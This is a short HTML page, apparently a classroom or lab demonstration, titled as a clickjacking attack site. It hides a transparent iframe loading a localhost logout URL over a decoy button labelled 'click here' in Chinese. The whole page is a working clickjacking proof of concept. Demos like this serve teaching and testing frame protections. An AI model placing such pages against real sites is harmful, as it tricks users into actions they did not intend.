<html lang="ja">
<head>
    <title>ClickJacking attack site</title>
    <meta charset="UTF-8">
    <style>
    .target {
      position: absolute;
      opacity: 0;
    }

    .attack {
      position: absolute;
      width: 200px;
      height: 50px;
      z-index: -1;
    }
    </style>
</head>
<body>
    <button class="attack">点击此处！</button>
    <iframe class="target" src="http://localhost:8000/logout/"></iframe>
</body>
</html>
